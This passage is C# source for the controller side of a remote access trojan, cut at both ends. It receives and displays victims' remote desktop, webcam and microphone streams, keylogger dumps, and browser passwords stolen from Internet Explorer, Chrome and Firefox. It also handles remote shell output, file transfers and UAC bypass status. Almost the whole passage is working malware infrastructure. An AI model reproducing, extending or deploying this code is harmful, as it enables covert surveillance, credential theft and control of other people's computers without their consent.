ReceiveCallback, socket); //Add the reading callback _serverSocket.BeginAccept(AcceptCallback, null); //Restart accepting clients } /// /// Event handler for dismissing live updates /// /// The sender of the event /// The event args private void DismissUpdate(object sender, EventArgs e) { Timer me = (Timer)sender; //The timer who started the event label24.Text = ""; //Reset the live updates text label24.ForeColor = Color.Black; //Reset the live updates color label24.Hide(); //Hide the live updates me.Stop(); //Stop the timer who called the event } /// /// Get the ID of the client by Socket object /// /// The socket which you want the client ID of /// The client ID of the socket private int GetSocket(Socket socket) { int tracer = 0; //Declare index variable foreach (Socket s in _clientSockets) //Go through the connected sockets { if (s == socket) //If the sockets match { return tracer; //Return the index of the socket } tracer++; //Increment the index } return -1; // Return a negative index, causing an exception } /// /// Handle the messages of the client /// /// Async result for the function private void ReceiveCallback(IAsyncResult AR) { Socket current = (Socket)AR.AsyncState; //Get the communicating client's socket bool dclient = false; //Declare client disconnection variable if (!IsStartedServer) return; //Return if the server is not started try { if(!IsException) //If no exceptions { received = current.EndReceive(AR); //Get the number of recevied bytes } else //If exception then { received = current.EndReceive(AR); //Get the jibberish received = 0; //Reset it back to 0 IsException = false; //Disable the exception flag } } catch (Exception) //If something went wrong { int id = GetSocket(current); //get the id of the client reScanTarget = true; //Set the rescan flag reScanStart = id; //Set the starting ID for rescan //Console.WriteLine("Client forcefully disconnected"); current.Close(); //Close the communicating socket _clientSockets.Remove(current); //Remove the socket from the clients list RestartServer(id); //Restart the server to rename every client return; //Return } if (received > 0) // Check if we have any data { byte[] recBuf = new byte[received]; //Declare a new received buffer with the size of the received bytes Array.Copy(_buffer, recBuf, received); //Copy from the big array to the new array, with the size of the received bytes bool ignoreFlag = false; //Declare the ignore flag if (MultiRecv) //If a surveillance module is running { try //Try { // TODO: send byte codes instead of string values as headers string header = Encoding.Unicode.GetString(recBuf, 0, 8 * 2); //Get the header of the message if (header == "rdstream") //If it's a remote desktop stream { using (MemoryStream stream = new MemoryStream()) //Declare the new memory stream { stream.Write(recBuf, 8 * 2, recBuf.Length - 8 * 2); //Copy the data from the buffer, to the memory stream //Console.WriteLine("multiRecv Length: " + recBuf.Length); Bitmap deskimage = (Bitmap)Image.FromStream(stream); //Create a bitmap image from the memory stream if (resdataav == 0) //If resolution data is not set { resx = deskimage.Width; //Set the resolution width to the image width resy = deskimage.Height; //Set the resolution height to the image height resdataav = 1; //The resolution data is set now } SetImage(deskimage); //Set the image of the remote desktop Array.Clear(recBuf, 0, received); //Clear the buffer ignoreFlag = true; //Set the ignore flag GC.Collect(); //Call the garbage collector GC.WaitForPendingFinalizers(); System.Threading.Thread.SpinWait(5000); } } if (header == "austream") //If it's an audio stream { byte[] data = new Byte[recBuf.Length]; //Declare a new buffer for audio data Buffer.BlockCopy(recBuf, 8 * 2, data, 0, recBuf.Length - 8 * 2); //Copy from the received buffer to the audio buffer recBuf = null; //Remove the received buffer astream.BufferPlay(data); //Playback the audio stream ignoreFlag = true; //Set the ignore flag } if (header == "wcstream") //If it's a web cam stream { MemoryStream stream = new MemoryStream(); //Declare a new memory stream stream.Write(recBuf, 8 * 2, recBuf.Length - 8 * 2); //Copy from the buffer to the memory stream Console.WriteLine("multiRecv Length: " + recBuf.Length); //Debug function Bitmap camimage = (Bitmap)Image.FromStream(stream); //Create a bitmap from the memory stream stream.Flush(); //Flush the stream stream.Close(); //Close the stream stream.Dispose(); //Dispose the stream stream = null; //Remove the stream SetWebCam(camimage); //Set the web cam image to the new frame Array.Clear(recBuf, 0, received); //Clear the receive buffer ignoreFlag = true; //Set the ignore flag } } catch (Exception) //Something went wrong { //Do nothing } } else if (isFileDownload && !ignoreFlag) //If file download is in progress and it's not a sureveillance data { // TODO: this won't work for big files, write to fs on receive Buffer.BlockCopy(recBuf, 0, recvFile, write_size, recBuf.Length); //Copy from the receive buffer to the file buffer write_size += recBuf.Length; //Update the write size if (write_size == fdl_size) //If the write size matches the full download size { String rLocation = fdl_location; //Get the store location using (FileStream fs = File.Create(rLocation)) //Create a new fileStream at the location { Byte[] info = recvFile; //Get the file bytes fs.Write(info, 0, info.Length); //Write the bytes to the file } Array.Clear(recvFile, 0, recvFile.Length); //Clear the file buffer Msgbox("File Download", "File receive confirmed!", MessageBoxButtons.OK, MessageBoxIcon.Information); //Update the user on the download isFileDownload = false; //Set the download flag to false } } else if (!isFileDownload && !ignoreFlag) //If no file download, and it's not surveillance data { System.Threading.Thread clThread = new System.Threading.Thread(new System.Threading.ParameterizedThreadStart(CheckLinux)); //Create a linux client checking thread ClientObject obj = new ClientObject { buffer = recBuf, //Set the buffer of the client object s = current //Set the socket of the client object }; //Create a new client object clThread.Start(obj); //Start checking if client is linuy or windows try //Try { text = Encoding.Unicode.GetString(recBuf); //Get the text from the receive buffer text = Decrypt(text); //Decrypt the received text } catch (Exception ex) //Something went wrong { MessageBox.Show("Original Error :: " + ex.Message); //Display the error message } if (lcm != null) //If linux client manager is not null { if (lcm.IsLinuxClient(current)) //Check if our client is a linux client { lcm.RunCustomCommands(recBuf); //Run the command through the manager text = Encoding.ASCII.GetString(recBuf); //Convert the text to ASCII encoded charaters } } if (text != null) //If text is not null { if (text.StartsWith("infoback;")) //Info received from client { string[] mainContainer = text.Split(';'); // Get the main data parts int id = int.Parse(mainContainer[1]); //The client ID string[] lines = mainContainer[2].Split('|'); //Split the data into parts string name = lines[0]; //The Computer Name string ip = lines[1]; //The computer's local IPv4 address string time = lines[2]; //The computer's date and time string av = lines[3]; //The computer's installed Anti Virus product SetlvClientInfoCallback(name, ip, time, av, id); //Update the UI } else if (text.StartsWith("ScreenCount")) //get screen count result back from the client { string screens = string.Empty; //Declare the screen variable screens = text.Replace("ScreenCount", "").Replace(" ", ""); //Get the installed screens of the client for (int i = 0; i < screens.Length; i++) // Loop through the screens of the client { SetClientScreenCountCallBack(screens[i]); // Update the UI } } else if (text.StartsWith("setproc|")) //Process list received from client { foreach (string line in text.Split('\n')) //Loop through the processes { if (line == "") continue; //If line is empty, then skip it string[] procData = line.Split('|'); string name = procData[1]; //The name of the process string responding = procData[2]; //If the process is responding string title = procData[3]; //The title of the processe's main window string priority = procData[4]; //The priorty of the process string path = procData[5]; //The full path of the launched process string id = procData[6]; //The PID SetprocInfoCallback(name, responding, title, priority, path, id); //Update the UI } SortList(listView2); //Sort the processes by thier name } else if (text.StartsWith("cmdout§")) //The client sent the output of a command line command { string output = text.Substring(7); //Get the output of the command output = output.Replace("cmdout", String.Empty); //Format the output Append(output); //Append the output to the command window } else if (text.StartsWith("fdrivel§")) //The client sent a list of drives { string data = text.Substring(8); //Get the drive listing LvClear(listView3); //Clear the listView for drives foreach (string drive in data.Split('\n')) //Loop through the drives { if (!drive.Contains("|")) continue; //If incorrect drive, then skip it string[] driveData = drive.Split('|'); string name = driveData[0]; //Get the label of the drive (C:, D:, E: etc.) string size = Convert(driveData[1]); //Get the total size of the drive AddFileCallback(name, size, "N/A", name); //Update the UI } } else if (text.StartsWith("fdirl")) //The client sent the list of entries in a directory { string data = text.Substring(5); //Remove the command header from the message string[] entries = data.Split('\n'); //Get the entries from the data for (int i = 0; i < entries.Length; i++) //Loop through every entry in the list { string entry = entries[i]; if (entry == "") continue; //If the entry is empty then skip it string[] entryData = entry.Split('§'); string name = entryData[0]; //Get the name of the entry string size = Convert(entryData[1]); //Get the total size of the entry string crtime = entryData[2]; //Get the creation time of the entry string path = entryData[3]; //Get the full path to the entry AddFileCallback(name, size, crtime, path); //Update the UI } } else if (text.StartsWith("backfile§")) //The client sent file contents to the editor { string content = text.Substring(9); //Get the content of the file StartEditor(content, me); //Start the editor window } else if (text == "fconfirm") //Client accepted to receive a file { // TODO: this won't work for big files, read the file by some small amount of bytes and stream it to the client byte[] databyte = File.ReadAllBytes(fup_local_path); //Get the bytes of the file SendBytesToTarget(databyte); //Send the file to the client } else if (text == "frecv") //Client confirmed that the file is uploaded { Msgbox("File Upload", "File receive confirmed!", MessageBoxButtons.OK, MessageBoxIcon.Information); //Notify the user } else if (text.StartsWith("finfo§")) //Client sent info about a file we want to download { fdl_size = int.Parse(text.Substring(6)); //Get the size of the file recvFile = new byte[fdl_size]; //Create a new buffer for the file isFileDownload = true; //Set the file download flag SendToTarget("fconfirm"); //Notify the client to send the file } else if (text.StartsWith("f1§")) //The client sent the up1 directory in the tree { string dir = text.Substring(3); //Get the parent directory if (dir != "drive") GetParentDirectory(dir); //If it's not the drive list the update the file list else //If it's the drive list { CurrentPath = "drive"; //Set the current path to the drive listing SendToTarget("fdrive"); //List the drives LvClear(listView3); //Clear the file list } } else if (text.StartsWith("putklog")) //Client sent the keylog { string dump = text.Substring(7); //Remove the command header SetLog(dump); //Update the UI } else if (text.StartsWith("dclient")) //Client is going to disconnect { // TODO: look into client disconnection this seems like a hack from a quick glance Console.WriteLine("Client Disconnected"); //Debug Function dclient = true; //Set the disconnect flag SwitchTab(tabPage1); //Switch to the client selection module killtarget = GetSocket(current); //Get the id of the affected socket killSocket = current; //Set the affected socket if (controlClient == killtarget) //If the affected client is the controlled one { //TODO: write UI reset code RemotePipe[] rpArray = { null }; //Create a new remote pipe array sCore.RAT.ExternalApps.ClearIPCConnections(hostToken); //Clear the list of ipc connections for plugins Array.Copy(rPipeList.ToArray(), rpArray, rPipeList.Count); //Get the list of pipes foreach (RemotePipe rp in rpArray) //Go through each pipe in the list { if (rp == null) continue; //If the pipe is closed, then skip it rp.RemoteRemove = false; //Set the remove flag ClosePipe(rp); //Close the remote pipe } rPipeList.Clear(); //Clear the list of pipes } int id = killtarget; //Declare the client id reScanTarget = true; //Set the rescan flag reScanStart = id; //Set the rescan starting id if (lcm != null) //If linux client manager is enabled { if (lcm.IsLinuxClient(id)) lcm.RemoveAssociation(id); //If it's a linux client, then remove it from the manager } Console.WriteLine("Timer Removed Client"); //Debug Function killSocket.Close(); //Close the affected socket _clientSockets.Remove(killSocket); //Remove the affected socket from the list RestartServer(id); //Restart the server } else if (text.StartsWith("alist")) //Client sent the list of audio devies of thier machine { LvClear(listView4); //Clear the audio devices listView string data = text.Substring(5); //Remove the command header from the message int devices = 0; //Declare the count of devices string[] deviceData = data.Split('§'); for (int i = 0; i < deviceData.Length; i++) //Go through all devices { string device = deviceData[i]; string[] deviceInfo = device.Split('|'); string name = deviceInfo[0]; //Get the name of the device string channel = deviceInfo[1]; //Get the channel ID for the device AddAudio(name, channel); //Update the UI devices++; //Increment the count of devices } if (devices == 0) //If no devices { Msgbox("Warning", "No audio capture devices present on this target", MessageBoxButtons.OK, MessageBoxIcon.Warning); //Notify the user } } else if (text.StartsWith("wlist")) //Client sent the list of installed web cams { // TODO: extract to method along with audio devices LvClear(listView5); //Clear the web cam listView string data = text.Substring(5); //Remove the commmand header from the message int devices = 0; //Declare the count of devices string[] deviceData = data.Split('§'); for (int i = 0; i < deviceData.Length; i++) //Go through all devices { string device = deviceData[i]; if (device == "") continue; //If the device is empty, then skip it string[] deviceInfo = device.Split('|'); string id = deviceInfo[0]; //Get the ID of the device string name = deviceInfo[1]; //Get the name of the device AddCam(id, name); //Update the UI devices++; //Incremen the count of the devices } if (devices == 0) //If no devices installed { Msgbox("Warning", "No video capture devices present on this target!", MessageBoxButtons.OK, MessageBoxIcon.Warning); //Notify the user } } else if (text.StartsWith("setstart§")) //Client sent the R.A.T application working directory { remStart = text.Substring(9); //Get the directory } else if (text == "getpwu") //Client sent error because password fox is not found in the directory { System.Threading.Thread notify = new System.Threading.Thread(new System.Threading.ThreadStart(PwuNotification)); //Create a notify thread notify.Start(); //Start the thread } else if (text.StartsWith("iepw")) //Client sent the Internet Explorer recovered passwords { string[] ieLogins = text.Split('\n'); //Get every IE logins if (ieLogins[1] == "failed") //If failed to recover, or none exists { Console.WriteLine("no ie logins"); //Debug Function } else { for (int i = 0; i < ieLogins.Length; i++) //Go through the logins { if (i == 0) continue; // Skip the first item (header) string login = ieLogins[i]; string[] src = login.Split('§'); //Split to data parts string user = src[0]; //Get the username string password = src[1]; //Get the password string url = src[2]; //Get the URL ListViewItem lvi = new ListViewItem { Text = url //Set the url }; //Create a new listView item lvi.SubItems.Add(user); //Set the username lvi.SubItems.Add(password); //Set the password LvAddItem(listView6, lvi, 1); //Set the item's group (1 = group Internet Explorer) } } } else if (text.StartsWith("gcpw")) //Client sent Google Chrome Logins { string[] gcLogins = text.Split('\n'); //Get the logins if (gcLogins[1] == "failed") //If failed to recover or none exists { Console.WriteLine("no gc logins"); //Debug Function } else { for (int i = 0; i < gcLogins.Length; i++) //Go through every login credentials { if (i == 0) continue; // Skip the first item (header) string login = gcLogins[i]; string[] src = login.Split('§'); //Split the data to parts string user = src[1]; //Get the username string password = src[2]; //Get the password string url = src[0]; //Get the URL ListViewItem lvi = new ListViewItem { Text = url //Set the URL }; //Create a new listView item lvi.SubItems.Add(user); //Set the username lvi.SubItems.Add(password); //Set the password LvAddItem(listView6, lvi, 0); //Set the item's group (0 = group Google Chrome) } } } else if (text.StartsWith("ffpw")) //Client sent Fire Fox logins { string[] ffLogins = text.Split('\n'); //Get the logins if (ffLogins[1] == "failed") //If failed to recover or none exists { Console.WriteLine("no ff logins"); //Debug Function } else { for (int i = 0; i < ffLogins.Length; i++) //Go through the logins { if (i == 0) continue; // Skip the first item (header) string login = ffLogins[i]; string[] src = login.Split('§'); //Split the data to parts string user = src[2]; //Get the username string password = src[3]; //Get the password string url = src[1]; //Get the URL ListViewItem lvi = new ListViewItem { Text = url //Set the URL }; //Create a new listView item lvi.SubItems.Add(user); //Set the username lvi.SubItems.Add(password); //Set the password LvAddItem(listView6, lvi, 2); //Set the item's group (2 = group Firefox) } } } else if (text.StartsWith("error")) //If client sent error message { string[] errorData = text.Split('§'); string code = errorData[1]; //Get the message's code string title = errorData[2]; //Get the message's title string message = errorData[3]; //Get the message's body label24.ForeColor = Color.Gold; //Set the text color to gold label24.BackColor = Color.Black; //Set the back color to read SetErrorText("Error " + code + "\n" + title + "\n" + message); //Set the error message ShowError(); //Update the UI // TODO: get rid of timer if we can (I think it hurts performance, and it's not elegant) Timer t = new Timer { Interval = 10000 //Set the timer's frequency to 10 seconds }; //Create a new timer t.Tick += new EventHandler(DismissUpdate); //Set the tick handler t.Start(); //Start the timer Types.ClientErrorMessage eMsg = new Types.ClientErrorMessage(code, message, title); //Create a plugin error object sCore.RAT.ServerSettings.RaiseErrorEvent(eMsg); //Notify the plugins of the error } else if (text.StartsWith("ipc§")) //Client sent IPC output message { string serverName = text.Split('§')[1]; //Get the IPC server's name string message = text.Substring(4); //Get the message body message = message.Substring(message.IndexOf('§') + 1); //Format the message foreach (RemotePipe rp in rPipeList) //Gor through the remote pipe list { if (rp.pname == serverName) //If the servers match { rp.WriteOutput(message); //Write the output to the form break; //Break the loop } } } else if (text == "uac§a_admin") //Client sent that it's running as admin { Msgbox("Warning", "R.A.T is already running in administrator mode!", MessageBoxButtons.OK, MessageBoxIcon.Information); //Notify the user } else if (text == "uac§f_admin") //Client sent that UAC bypass core files are missing { EnableButton(button20, true); //Enable Auto download Msgbox("Error!", "UAC Bypass Core files not found!\r\nDownload and Compile them manually from the Bypass-Uac repo\r\nThen upload them to the target", MessageBoxButtons.OK, MessageBoxIcon.Error); //Notify the user } #if EnableAutoLoad if (text.StartsWith("uacload§")) //Client sent auto download progress { string progress = text.Split('§')[1]; //Get the progression autoLoadProgress += int.Parse(progress); //Increment the progress UpdateProgress(progressBar1, autoLoadProgress); //Update the progress bar with the value SetControlText(label36, autoLoadProgress.ToString() + "%"); //Update the label with the value if (autoLoadProgress == 100) //If download finished { autoLoadProgress = 0; //Reset the progress HideControl(progressBar1); //Hide the progress bar HideControl(label36); //Hide the label SetControlText(label36, "0%"); //Reset the label text UpdateProgress(progressBar1, 0); //Reset the progress bar value EnableButton(button20, false); //Disable the auto download button Msgbox("Download Complete!", "Core files downloaded, you may retry bypassing UAC now", MessageBoxButtons.OK, MessageBoxIcon.Information); //Notfiy the user } } #endif } } } if (!dclient) current.BeginReceive(_buffer, 0, _BUFFER_SIZE, SocketFlags.None, ReceiveCallback, current); //If client is not disconnecting, restart the reading } #endregion #region Cross Thread Functions // TODO: minimize the amount of delegate declarations (we can reuse them with a common name) /// /// Delegate used to set the remote desktop frame image /// /// The frame to update the remote desktop with private delegate void setImageCallback(Bitmap image); /// /// Set the image of the remote desktop controls /// /// The new frame by the client private void SetImage(Bitmap image) { if (InvokeRequired) //If we need to invoke { setImageCallback callback = new setImageCallback(SetImage); //Create the callback // if (image != null) this.Invoke(callback, new object[] { image }); if (image != null) //If the image is not null { try { Invoke(callback, new object[] { image }); //Trying to invoke the callback } catch //(Exception ex) { // MessageBox.Show("Connection Lost ERROR Message = " + ex.Message); } } } else { if (!IsRdFull) //If not in full screen mode { // if (image == null) Console.WriteLine("image is null"); if (image != null) //If image is not null { pictureBox1.Image = image; //Set the small image to the new frame } } else //If in full screen mode { if (image != null) //If the image is not null { Rdxref.image = image; //Set the full screen frame to the new frame } } if (rdRouteUpdate != "route0.none") //If we have a routed windows of the remote desktop module { String route = rdRouteUpdate.Split('.')[0]; //Get the route of the windows int routeIndex = int.Parse(route.Replace("route", "")) - 1; //Get the index of the routed window Form tRoute = routeWindow[routeIndex]; //Get the routed windows Control.ControlCollection elements = tRoute.Controls; //Get every control in the window foreach (Control c in elements) //Loop through the controls { if (c.Tag == null) continue; //If the control has no tag, then skip it if (c.Tag.ToString() == rdRouteUpdate) //If the control's tag matches the remote desktop route update { PictureBox rdUpdate = c as PictureBox; //Convert the control to a pictureBox rdUpdate.Image = image; //Set the new frame of the image } } } } } /// /// Delegate used to update the image of the remote webCam display controls /// /// The new frame to set private delegate void setWebCamCallback(Bitmap image); /// /// Update the frame of the webCam display controls /// /// The new frame sent by the client private void SetWebCam(Bitmap image) { if (this.InvokeRequired) //If we need to invoke { setWebCamCallback callback = new setWebCamCallback(SetWebCam); //Create a callback this.Invoke(callback, new object[] { image }); //Invoke } else { pictureBox2.Image = image; //Set the image of the webCam if (wcRouteUpdate != "route0.none") //If we have a routed window to the webCam module { String route = rdRouteUpdate.Split('.')[0]; //Get the route of the window int routeIndex = int.Parse(route.Replace("route", "")) - 1; //Get the ID of the window Form tRoute = routeWindow[routeIndex]; //Get the from of the routed window Control.ControlCollection elements = tRoute.Controls; //Get every control in the routed window foreach (Control c in elements) //Loop through the elements { if (c.Tag == null) continue; //If the element has no tag, then skip it if (c.Tag.ToString() == wcRouteUpdate) //If the elements tag matches the route window for webCam { PictureBox wcUpdate = c as PictureBox; //Convert the control to a pictureBox wcUpdate.Image = image; //Set the new frame of the image } } } } } /// /// Delegate used for adding new clients to the listView /// /// The ID of the new client private delegate void addlvClient(String clientid); /// /// Add a new client to the listView /// /// The ID of the new client private void AddlvClientCallback(String clientid) { if (InvokeRequired) //Check if we need to invoke { addlvClient k = new addlvClient(AddlvClientCallback); //Create the callback Invoke(k, new object[] { clientid }); //Invoke } else { listView1.Items.Add(clientid); //Add the new client to the list } } /// /// Delegate used to restart the server in case a client disconnected /// /// The ID of the disconnected client private delegate void restartServerCallback(int id); /// /// Restart the server, if a client disconnected /// /// ID of the disconnected client private void RestartServer(int id) { if (InvokeRequired) //If we need to invoke { restartServerCallback callback = new restartServerCallback(RestartServer); //Create the callback Invoke(callback, new object[] { id }); //Invoke } else { button1.PerformClick(); //Stop the server button1.PerformClick(); //Start the server label24.ForeColor = Color.Red; //Change the live update text color to red label24.Text = "Client " + id.ToString() + " Disconnected\nOther Sessions restored!"; //Set the live update notification label24.Show(); //Show the live update Timer t = new Timer { Interval = 5000 //Set the frequency to 5 seconds }; //Create a new timer t.Tick += new EventHandler(DismissUpdate); //Set the tick event handler t.Start(); //Start the timer } } /// /// Delegate used to set a control's text Property /// /// The control to change the text of /// The new text of the control private delegate void SetControlTextC(Control contorol, string text); /// /// Change the text property of a control /// /// The control to change the text of /// The new text of the control private void SetControlText(Control control, string text) { if (InvokeRequired) //If we need to invoke { SetControlTextC callback = new SetControlTextC(SetControlText); //Create the callback Invoke(callback, new object[] { control, text }); //Invoke return; //Return } control.Text = text; //Set the control's text } /// /// Delegate used to hide any control /// /// The control to hide private delegate void HideControlC(Control control); /// /// Hide a control /// /// The control to hide private void HideControl(Control control) { if (InvokeRequired) //If we need to invoke { HideControlC callback = new HideControlC(HideControl); //Create the callback Invoke(callback, new object[] { control }); //Invoke return; //Return } control.Hide(); //Hide the control } /// /// Delegarte used to update the progress of a progress bar /// /// The progress bar to update /// The new progress value private delegate void UpdateProgressC(ProgressBar pb, int progress); /// /// Update the value of a progress bar /// /// The progress bar to update the value of /// The new progress private void UpdateProgress(ProgressBar pb, int progress) { if (InvokeRequired) //If we need to invoke { UpdateProgressC callback = new UpdateProgressC(UpdateProgress); //Create a callback Invoke(callback, new object[] { pb, progress }); //Invoke the callback return; //Return } pb.Value = progress; //Set the new progress } /// /// Delegate used to close a remote pipe /// /// The remote pipe to close private delegate void ClosePipeCallback(RemotePipe rp); /// /// Close a remote pipe /// /// The remote pipe to close private void ClosePipe(RemotePipe rp) { if (InvokeRequired) //If we need to invoke { ClosePipeCallback c = new ClosePipeCallback(ClosePipe); //Create a callback Invoke(c, new object[] { rp }); //Invoke the callback return; //Return } rp.Close(); //Close the pipe window } /// /// Delegate used to enable or disable a button /// /// The button to change the state of /// The new state of the button private delegate void EnableButtonCallback(Button button, bool state); /// /// Enable or Disable a button /// /// The button to change the state of /// The new state of the button private void EnableButton(Button button, bool state) { if (InvokeRequired) //If we need to invoke { EnableButtonCallback ebc = new EnableButtonCallback(EnableButton); //Create a callback Invoke(ebc, new object[] { button, state }); //Invoke the callback return; //Return } button.Enabled = state; //Change the state of the button } /// /// Check if a client if a linux client /// /// The client object to check private void CheckLinux(object data) { ClientObject obj = (ClientObject)data; //Convert the object to Client Object byte[] buffer = obj.buffer; //Get the buffer of the object string command = Encoding.ASCII.GetString(buffer); //Get the command from the buffer if (command == "linuxClient") //if the command is linuxClient { //Handle Linux Clients Console.WriteLine("Linux Client detected!"); //Debug Function int socketID = GetSocket(obj.s); //Get the client ID of the socket if (lcm != null) //If linux client manager is enabled { lcm.AddAssociation(socketID); //Add the client to the manager } else { Console.WriteLine("CheckLinux, lcm was null"); //Linux client manager is not enabled } } } /// /// Delegate used to short a listView control /// /// The listView to sort private delegate void SortListC(ListView lv); /// /// Sort a listView control /// /// The listView to short private void SortList(ListView lv) { if (InvokeRequired) //If we need to invoke { SortListC c = new SortListC(SortList); //Create the callback Invoke(c, new object[] { lv }); //Invoke the callback return; //Return } lv.Sorting = SortOrder.Ascending; //Set the shorting order lv.Sort(); //Sort the listView } /// /// Delegate used to display error messages /// private delegate void ShowErrorC(); /// /// Display error message /// private void ShowError() { if (this.InvokeRequired) //If we need to invoke { ShowErrorC c = new ShowErrorC(ShowError); //Create callback this.Invoke(c); //Invoke callback return; //Return } label24.Show(); //Show the error label } /// /// Delegate used to set the error message's text /// /// The text to set private delegate void SetErrorTextC(string errorText); /// /// Set the error message's text /// /// The text to set private void SetErrorText(string errorText) { if (this.InvokeRequired) //If we need to invoke { SetErrorTextC c = new SetErrorTextC(SetErrorText); //Create the callback this.Invoke(c, new object[] { errorText }); //Invoke the callback return; //Return } label24.Text = errorText; //Set the error text } /// /// Create a password recovery fail notification /// private void PwuNotification() { System.Threading.Thread.Sleep(3000); //Wait for 3 seconds //msgbox("Try Again!", "PasswordFox.exe is not downloaded please wait 5 seconds and try again\nDownload in progress!", MessageBoxButtons.OK, MessageBoxIcon.Warning); Msgbox("Error!", "ff.exe (PasswordFox.exe) is not present on the target directory!", MessageBoxButtons.OK, MessageBoxIcon.Warning); //Notify the user } /// /// Delegate used to add and items to a listView control /// /// The listView to add the items to /// The listView item to add /// The group to add the item to private delegate void lvAddItemCallback(ListView lv, ListViewItem lvi, int group = -1); /// /// Add an item to a listView control /// /// The listView to add the item to /// The item to add /// The group to add the item to private void LvAddItem(ListView lv, ListViewItem lvi, int group = -1) { if (this.InvokeRequired) //If we need to invoke { lvAddItemCallback callback = new lvAddItemCallback(LvAddItem); //Create a new callback this.Invoke(callback, new object[] { lv, lvi, group }); //Invoke the callback } else { if (group != -1) //If we need to set the group { lvi.Group = lv.Groups[group]; //Set the group } lv.Items.Add(lvi); //Add the item to the listView } } /// /// Delegate used to add a web cam to the list /// /// The ID of the device /// The name of the device private delegate void addCamCallback(String id, String name); /// /// Add a web cam to the list /// /// The ID of the device /// The name of the device private void AddCam(String id, String name) { if (this.InvokeRequired) //If we need to invoke { addCamCallback callback = new addCamCallback(AddCam); //Create a callback this.Invoke(callback, new object[] { id, name }); //Invoke the callback } else { ListViewItem lvi = new ListViewItem { Text = id //Set the device ID }; //Create a new item lvi.SubItems.Add(name); //Set the device name listView5.Items.Add(lvi); //Add the item to the listView } } /// /// Delegate used to add an audip device to the list /// /// The name of device /// The channel of the device private delegate void addAudioCallback(String name, String ch); /// /// Add an audio device to the list /// /// The name of the device /// The channel of the device private void AddAudio(String name, String ch) { if (this.InvokeRequired) //If we need to invoke { addAudioCallback callback = new addAudioCallback(AddAudio); //Create a callback this.Invoke(callback, new object[] { name, ch }); //Invoke the callback } else { ListViewItem lvi = new ListViewItem(name); //Create a new listVie item and set the name lvi.SubItems.Add(ch); //Set the channel listView4.Items.Add(lvi); //Add the item to the listView listView4.Items[0].Selected = true; //Select the first item in the listView } } /// /// Delegate used to switch the active tab page /// /// The active tab page to switch to public delegate void switchTabC(TabPage tab); /// /// Switch the active tab page /// /// The tab page to switch to public void SwitchTab(TabPage tab) { if (this.InvokeRequired) //If we need to invoke { switchTabC callback = new switchTabC(SwitchTab); //Create a callback this.Invoke(callback, new object[] { tab }); //Invoke the callback } else { tabControl1.SelectedTab = tab; //Switch the selected tab page } } /// /// Delegate used to set the keylog text /// /// The keylog to display private delegate void setLogCallback(String dump); /// /// Set the keylog text /// /// The keylog to display private void SetLog(String dump) { if (this.InvokeRequired) //If we need to invoke { setLogCallback callback = new setLogCallback(SetLog); //Create a callback this.Invoke(callback, new object[] { dump }); //Invoke the callback } else { richTextBox3.Text = dump; //Set the keylog text } } /// /// Delegate used to clear a listView's items /// /// The listView to clear private delegate void lvClearCallback(ListView lv); /// /// Clear the items of a listView /// /// The listView control to clear private void LvClear(ListView lv) { if (this.InvokeRequired) //If we need to invoke { lvClearCallback callback = new lvClearCallback(LvClear); //Create a callback this.Invoke(callback, new object[] { lv }); //Invoke the callback } else { lv.Items.Clear(); //Clear the listView's items } } /// /// Delegate used to update the directory listing /// /// The directory to list private delegate void parentCallback(String directory); /// /// Update the directory listing /// /// The directory to list private void GetParentDirectory(String directory) { if (this.InvokeRequired) //If we need to invoke { parentCallback callback = new parentCallback(GetParentDirectory); //Create a callback this.Invoke(callback, new object[] { directory }); //Invoke the callback } else { String command = "fdir§" + directory; //Construct the command SendToTarget(command); //Send the command to the client CurrentPath = directory; //Set the current path listView3.Items.Clear(); //Clear the items of the file list } } /// /// Delegate used to display a local message box /// /// The title of the message box /// The text of the message box /// Message box buttons /// Message box icon /// The dialog result of the message box private delegate DialogResult msgboxCallback(String title, String text, MessageBoxButtons button, MessageBoxIcon icon); /// /// Display a local message box /// /// The title of the message box /// The text of the message box /// Message box buttons /// Message box icon /// The dialog result of the message box private DialogResult Msgbox(String title, String text, MessageBoxButtons button, MessageBoxIcon icon) { if (this.InvokeRequired) //If we need to invoke { msgboxCallback callback = new msgboxCallback(Msgbox); //Create a callback return (DialogResult)this.Invoke(callback, new object[] { title, text, button, icon }); //Invoke and return } else { return MessageBox.Show(this, text, title, button, icon); //Display the message box and return the result } } /// /// Delegate used to start the file editor window /// /// The content to edit /// Reference to the main form private delegate void startEditorCallback(String content, Form1 parent); /// /// Start the file editor /// /// The content to edit /// Reference to the main form private void StartEditor(String content, Form1 parent) { if (this.InvokeRequired) //If we need to invoke { startEditorCallback callback = new startEditorCallback(StartEditor); //Create a callback this.Invoke(callback, new object[] { content, parent }); //Invoke the callback } else { Edit writer = new Edit(content, parent); //Create a new editor writer.Show(); //Start the editor } } /// /// Convert file sizes from bytes to higher measurements /// /// The byte size of the file /// The highest possible measurement of the size private string Convert(string byt) { string stackName = "B"; //Declare the measurement id //Console.WriteLine(byt); if (byt == "N/A") //Check if size is unknown { return "Directory"; //It's a directory } try //Try { float bytes = float.Parse(byt); //Convert the bytes to a float float div_result = 0; //Declare the divided result if (bytes >= 0 && bytes < 1024) //If it falls in the range of bytes { div_result = bytes; //Return the bytes } else if (bytes >= 1024 && bytes < (1024 * 1024)) //If it falls in range of kilo bytes { stackName = "KB"; //Set hte measurement id div_result = bytes / 1024; //Convert the bytes to kilo bytes } else if (bytes >= (1024 * 1024) && bytes < (1024 * 1024 * 1024)) //If it falls in range of mega bytes { stackName = "MB"; //Set the measurement id div_result = bytes / (1024 * 1024); //Convert the bytes to mega bytes } else if (bytes >= (1024 * 1024 * 1024)) //If it's out of the mega byte range { stackName = "GB"; //Set the measurement id div_result = bytes / (1024 * 1024 * 1024); //Convert the bytes to giga bytes } return $"{div_result.ToString("0.00")} {stackName}"; // Return the result } catch (Exception) //Something went wrong { return "ERROR"; //Return error } } /// /// Delegate used to add entriey to the file list /// /// The name of the entry /// The size of the entry /// The creation time of the entry /// The full path of the entry private delegate void addFile(String name, String size, String crtime, String path); /// /// Add entries to the file list /// /// The name of the entry /// The size of the entry /// The creation time of the entry /// The full path of the entry private void AddFileCallback(String name, String size, String crtime, String path) { if (this.InvokeRequired) //If we need to invoke { addFile callback = new addFile(AddFileCallback); //Create a callback this.Invoke(callback, new object[] { name, size, crtime, path }); //Invoke the callback } else { ListViewItem lvi = new ListViewItem { Text = name //Set the entry name }; //Create a new listView item lvi.SubItems.Add(size); //Set the entry size lvi.SubItems.Add(crtime); //Set the entry creation time lvi.SubItems.Add(path); //Set the entry full path 